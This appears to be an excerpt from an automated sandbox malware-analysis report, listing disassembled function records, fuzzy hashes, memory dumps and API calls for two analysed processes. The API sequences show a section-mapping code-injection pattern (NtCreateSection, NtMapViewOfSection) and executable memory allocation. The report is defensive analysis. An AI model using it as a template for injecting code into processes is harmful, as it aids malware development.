Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b1f0159f97d466bc91f5776e0bc3e363edbf1d05b17888ab0c7daa3a3c8438c
Instruction ID: 9e55921de2574c657f41f34ef6731c0788b7729c1e8725f62aa53682a3b93476
Opcode Fuzzy Hash: 4b1f0159f97d466bc91f5776e0bc3e363edbf1d05b17888ab0c7daa3a3c8438c
Instruction Fuzzy Hash: 78217C75D48345DBCB129E25D8516E73FA4EF9233576402BBE4826A0F2C2384606DBBF

Uniqueness

Uniqueness Score: -1.00%

Function 00401406 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ca2780711d82aa462e2c3337fc74dd66a5598a0a40ee9b3fd7cead32aae73b3
Instruction ID: 769907c8ee4e2f7cf64fba8ba9f8b23e145ea64c519f6a614380a457a23c39ea
Opcode Fuzzy Hash: 1ca2780711d82aa462e2c3337fc74dd66a5598a0a40ee9b3fd7cead32aae73b3
Instruction Fuzzy Hash: 31219B75D48285DBCB128E25D4506D73FA4EF9233576442BBD0826A0F2C3340602DBAF

Uniqueness

Uniqueness Score: -1.00%

Function 00401413 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d2a1cf2239d74f103a93650217df68cbc67bafc0d100bb7a7d4b38e3cea7e99
Instruction ID: ad73ea8454fe0e189ec9174c773bae34e5c54e3eefe866846b87b01581482766
Opcode Fuzzy Hash: 8d2a1cf2239d74f103a93650217df68cbc67bafc0d100bb7a7d4b38e3cea7e99
Instruction Fuzzy Hash: 68219776D49385DBCF128F26D8922973FB4EE5333535842EBC4929A0B2C2348601CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004026CB Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c38bdd1c28fa4a2a68309ed83fed7e39b7daf74b08187679615121f3cc341f75
Instruction ID: cdd58dca2a837a008a946bbb35dbe0173230e547b11635f62ab1d195229df534
Opcode Fuzzy Hash: c38bdd1c28fa4a2a68309ed83fed7e39b7daf74b08187679615121f3cc341f75
Instruction Fuzzy Hash: F1014C77704F608ADB038B91E596488BFB0EE022213144AC2C1E05A5EBEB616233C386

Uniqueness

Uniqueness Score: -1.00%

Function 00402698 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.900412756.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9deb172eac83e21007a7a8ecff873d1541951d12bcb9617cba21bb9c86776f0e
Instruction ID: 962708b40ab39c170d01331d4ad521e2ade48b8f21a1479749b60a6d9d7c7a73
Opcode Fuzzy Hash: 9deb172eac83e21007a7a8ecff873d1541951d12bcb9617cba21bb9c86776f0e
Instruction Fuzzy Hash: C3E0C2B9501F10C5A72A8FA2DAA7D88BFB4FA453113025CC4C4904F8BAEF22F131D755

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5F4 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E61A

Part of subcall function 0040E446: __fltout2.LIBCMT ref: 0040E471

__cftog_l.LIBCMT ref: 0040E640
__cftoe_l.LIBCMT ref: 0040E672

Memory Dump Source

Source File: 00000000.00000002.900417378.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: fd7403959e30d510bea130438df6ce884a441a3e606f3a8fbb41e365420ffc10
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 2711877200014DBBCF125E95DC01CEE3F22BB28354F588C26FA5864171C33BD971AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aueuggsPID: 5856, Parent PID: 1228COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	75.5%
Signature Coverage:	5.5%
Total number of Nodes:	110
Total number of Limit Nodes:	7

Executed Functions

Function 004012AB Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 0040134F
O, xrefs: 00401335

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID:
String ID: O$u
API String ID: 0-1426094074
Opcode ID: fc28355d1bd9b55e96d57c391207adfdeb1b039e1bb682a9e10912c63c4cda28
Instruction ID: 6c0fdc4d84967332c471f3e59838abf2ed393e8be5ddaf11b6e9a247f6d6b291
Opcode Fuzzy Hash: fc28355d1bd9b55e96d57c391207adfdeb1b039e1bb682a9e10912c63c4cda28
Instruction Fuzzy Hash: F5D12571904245EBDB219F55CC44EAB7BB8FF82714F24417BE952BA1F1D2388602CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004014F4 Relevance: 10.7, APIs: 7, Instructions: 181
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 718cf7cf2070750d6a03261995fd349e41501109dfa1350d1f46578160f340bf
Instruction ID: 17c8b5c6b7d03a249af4a1ce3f33b6d11283f5bd133b62a523f5e2d8a45d1619
Opcode Fuzzy Hash: 718cf7cf2070750d6a03261995fd349e41501109dfa1350d1f46578160f340bf
Instruction Fuzzy Hash: 0D512D71900205BFEB209F91CC48FEF7BB8EF85B00F104129F912BA2E5E6749941CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401501 Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9984b560c3149dd7a735e47dd78e2cd68fd0edf502ba838df985c043765e37bb
Instruction ID: 6f0604b32057d325caf3f51fa446859acea35a512505d6c4cf197e41671a197c
Opcode Fuzzy Hash: 9984b560c3149dd7a735e47dd78e2cd68fd0edf502ba838df985c043765e37bb
Instruction Fuzzy Hash: 8C512BB1900249BFEF209F92CC48FEFBBB8EF85700F144159F911AA2E5E6759941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401528 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2f760a7a6e5d1e8f12fab574b919c9d6b8d73b05a2dd249efc9c4677c5b04d32
Instruction ID: af98140ee9de545a9c2869d3359d5e8b3b7d0483e67685bb764150cfa9c8d530
Opcode Fuzzy Hash: 2f760a7a6e5d1e8f12fab574b919c9d6b8d73b05a2dd249efc9c4677c5b04d32
Instruction Fuzzy Hash: 6E510871900259BFEB209F92CC48FEFBBB8EF85B10F144159F911AA2A5E7719940CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040153C Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401608
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401626
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401667
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401698
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016BA

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 3809ac319917b6d3bab6ba358ca8ba8e52c3928ac3e1657726bd27ab975abf26
Instruction ID: bcfd12d57f681495948eb5138da1c6a4081ea1a5ed11d5619747b33be395d59e
Opcode Fuzzy Hash: 3809ac319917b6d3bab6ba358ca8ba8e52c3928ac3e1657726bd27ab975abf26
Instruction Fuzzy Hash: 8C510A71900245BFEB209F92CC48FEFBBB8EF85750F104159F911BA1A5E6749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 025CB897 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025CB8BF
Module32First.KERNEL32(00000000,00000224), ref: 025CB8DF

Memory Dump Source

Source File: 0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp, Offset: 025C6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25c6000_aueuggs.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: e5662af26112998f976a7b176dfdd49a07aa8b3284867c6e3a014a08a070e0d0
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: DBF096351007116FE7203BF99C8EF6E7AE8BF49639F20052DE646910C0EBB4E8454B65

Uniqueness

Uniqueness Score: -1.00%

Function 00423C30 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 501
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,022826CC,?,?,?,?,?,?,00426666,000000FF), ref: 00423E03

Strings

t^:, xrefs: 00424137

Memory Dump Source

Source File: 0000000F.00000002.950652655.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_409000_aueuggs.jbxd

Similarity

API ID: AllocLocal
String ID: t^:
API String ID: 3494564517-1317908726
Opcode ID: c062c4851d68092e18220f5942159808537afa80d0018a64bd420801c80f2341
Instruction ID: 4d636d28f844f565b3d530f3d341ce37d985ee3deda23cb04abb92f0731eb413
Opcode Fuzzy Hash: c062c4851d68092e18220f5942159808537afa80d0018a64bd420801c80f2341
Instruction Fuzzy Hash: A402DB71644340ABE320EF90ED49F5B77B8EB84B01F50452EF785AB1E0DBB49944CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAE2 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040AEA9,?,?,00000000), ref: 0040DB25

Memory Dump Source

Source File: 0000000F.00000002.950652655.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_409000_aueuggs.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1ab4e90e3bf2085b5c19cb3079ae7fb3a0f3e77fe013268dfdebb13dc2d63100
Instruction ID: 89ae16cb865302e8bc47b642ae2bc1fc27565457d2be399f30c09226411e951d
Opcode Fuzzy Hash: 1ab4e90e3bf2085b5c19cb3079ae7fb3a0f3e77fe013268dfdebb13dc2d63100
Instruction Fuzzy Hash: 2401B135B002159AEB289FA5DC04B6737B4EB857A4F06453AA915AB2D0D73CE814CA98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9D8 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040AA0A

Memory Dump Source

Source File: 0000000F.00000002.950652655.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_409000_aueuggs.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 1ac1e0c22a827e4eb3afa572b7ce0305a9c31c80a6fabd8f886b3d2083b26de1
Instruction ID: 6c009c41319a7d8d7d2ff0ff75bb1fb8a32a163ed955803d9688be5ede57aee7
Opcode Fuzzy Hash: 1ac1e0c22a827e4eb3afa572b7ce0305a9c31c80a6fabd8f886b3d2083b26de1
Instruction Fuzzy Hash: 4AF0E9777012106ACB306734BC498975668DAD632430B8437F401E32C0F6388D91C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F8 Relevance: 1.5, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040A401

Memory Dump Source

Source File: 0000000F.00000002.950652655.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_409000_aueuggs.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 49a7b99272e7dfb1a34acc57a7128d62bad4503410a37b1f68c0455ac866e0bf
Instruction ID: 7b2594a50018b71bddf63201193a1d411e4c34ecc50922a49ca2bed2e99e9dfa
Opcode Fuzzy Hash: 49a7b99272e7dfb1a34acc57a7128d62bad4503410a37b1f68c0455ac866e0bf
Instruction Fuzzy Hash: A6C092B47953426BE7588B39AD26B8929E49B0DB43F204079B307ED9E0DAB195609F08

Uniqueness

Uniqueness Score: -1.00%

Function 004018C9 Relevance: 1.3, APIs: 1, Instructions: 64
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 53c9cd3384d2906c802fe6f3e3e31b8b704e5f86a1bc45d71cf18f0f00b039c7
Instruction ID: e62ef0a5377d8aa3a211eebfa9e1192b8d220afb4109f2d02ab252a4e2d2aae2
Opcode Fuzzy Hash: 53c9cd3384d2906c802fe6f3e3e31b8b704e5f86a1bc45d71cf18f0f00b039c7
Instruction Fuzzy Hash: CA118EB220C305FADB006A949C91EBA36689B11714F308137BB53790F1A57C9653F76F

Uniqueness

Uniqueness Score: -1.00%

Function 004018E5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 4ed9d038ad82778c0538dd9e301f09955b0ecda2ba93e19649321b1be2ae3255
Instruction ID: 05c04d2ad09f16b9b87c287c864bc9b7ec61e89fae5dcaecab9d0654b7c4e063
Opcode Fuzzy Hash: 4ed9d038ad82778c0538dd9e301f09955b0ecda2ba93e19649321b1be2ae3255
Instruction Fuzzy Hash: BB015BB220C305EADB006A949D62EB932649B15715F308137BA53790F1957C8653F61B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D4 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6bef9fa10c94b4d929980f6de66e1a6c4508e267192d79ae07afb604da632a6a
Instruction ID: fce81954366252da7adbbdf3d64cc03e59f8ef64e68a90b3f3f5323062df9ebf
Opcode Fuzzy Hash: 6bef9fa10c94b4d929980f6de66e1a6c4508e267192d79ae07afb604da632a6a
Instruction Fuzzy Hash: FF016DB220C305EADB006A949C61EAA37645B51715F348137BA53B90F1D57C8653F62B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F4 Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3b2755767c2db92140373cfbb1f56a3cbda9640d3fbd25a37bb45c91bc9b33cf
Instruction ID: 61556fbd74693c1122d25878dabab91872ca5c85c54c0931cf2d8ffcbe0fb9f5
Opcode Fuzzy Hash: 3b2755767c2db92140373cfbb1f56a3cbda9640d3fbd25a37bb45c91bc9b33cf
Instruction Fuzzy Hash: 5A0178B2248306FADB006AA49CA1EB932249B55715F308137FB13B90F1D57C8653F72B

Uniqueness

Uniqueness Score: -1.00%

Function 004018E9 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Part of subcall function 004014F4: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015B8
Part of subcall function 004014F4: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015E5

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 374dd4e1e0cffe5c307a426bb944a598177891720c0ffdd1d7a0e73783737b7f
Instruction ID: 0cfdbf57c40ebd16915b75e0bcaa31018d6035999b4c8e4d4561116cd1d9419c
Opcode Fuzzy Hash: 374dd4e1e0cffe5c307a426bb944a598177891720c0ffdd1d7a0e73783737b7f
Instruction Fuzzy Hash: FA017CB2208305FADB006AA09C61EA937649B55715F30813BFA53780F1957D8653F62B

Uniqueness

Uniqueness Score: -1.00%

Function 004018FC Relevance: 1.3, APIs: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401919

Memory Dump Source

Source File: 0000000F.00000002.950648234.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_aueuggs.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 001f3e1c90e0c9d478250d7b774a10e9bedc05eb8f5a2ddccafa56d5773fc4c0
Instruction ID: 8924cd936244c1d255e5b8ad3bd9668b31b5227b00448509fbcd462ac300149e
Opcode Fuzzy Hash: 001f3e1c90e0c9d478250d7b774a10e9bedc05eb8f5a2ddccafa56d5773fc4c0
Instruction Fuzzy Hash: 9A018FB2208305BBDF006AE08C62EA93B645F15315F244477FA53B91F2D57C9A52E72B

Uniqueness

Uniqueness Score: -1.00%

Function 025CB556 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025CB5A7

Memory Dump Source

Source File: 0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp, Offset: 025C6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25c6000_aueuggs.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 580a0ee4bceeb2d5cbab3a4626e4c3ba5f242178191a1226038e7e986a5cd5a6
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: CF113C79A00208EFDB01DF98CA85E99BFF5AF08350F158095F9489B361E775EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 025CB174 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.951037651.00000000025C6000.00000040.00000020.00020000.00000000.sdmp, Offset: 025C6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_25c6000_aueuggs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 65f425f66ad9128a85964cc543987ccfe526f44ca2c633940b3f6aaf9bf0dbd7
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 44117C72340100AFDB44DF99DC82FA677EAFB8C224B298069ED04CB315E675E802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5F4 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040E61A

Part of subcall function 0040E446: __fltout2.LIBCMT ref: 0040E471

__cftog_l.LIBCMT ref: 0040E640
__cftoe_l.LIBCMT ref: 0040E672

Memory Dump Source

Source File: 0000000F.00000002.950652655.0000000000409000.00000020.00000001.01000000.00000007.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_409000_aueuggs.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: fd7403959e30d510bea130438df6ce884a441a3e606f3a8fbb41e365420ffc10
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 2711877200014DBBCF125E95DC01CEE3F22BB28354F588C26FA5864171C33BD971AB85

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6E11.exePID: 5172, Parent PID: 3000COMMON

Execution Graph

Execution Coverage:	19.5%
Dynamic/Decrypted Code Coverage:	15.9%
Signature Coverage:	1.4%
Total number of Nodes:	1192
Total number of Limit Nodes:	79

Executed Functions

Function 6F0CB6B0 Relevance: 35.2, APIs: 23, Instructions: 669
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6F0CB73F
VariantInit.OLEAUT32(?), ref: 6F0CB748
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CB7BE
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6F0CB7F5
VariantClear.OLEAUT32(?), ref: 6F0CB801

Part of subcall function 6F0CC850: VariantInit.OLEAUT32(?), ref: 6F0CC88F
Part of subcall function 6F0CC850: VariantInit.OLEAUT32(?), ref: 6F0CC895
Part of subcall function 6F0CC850: SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6F0CC8A0
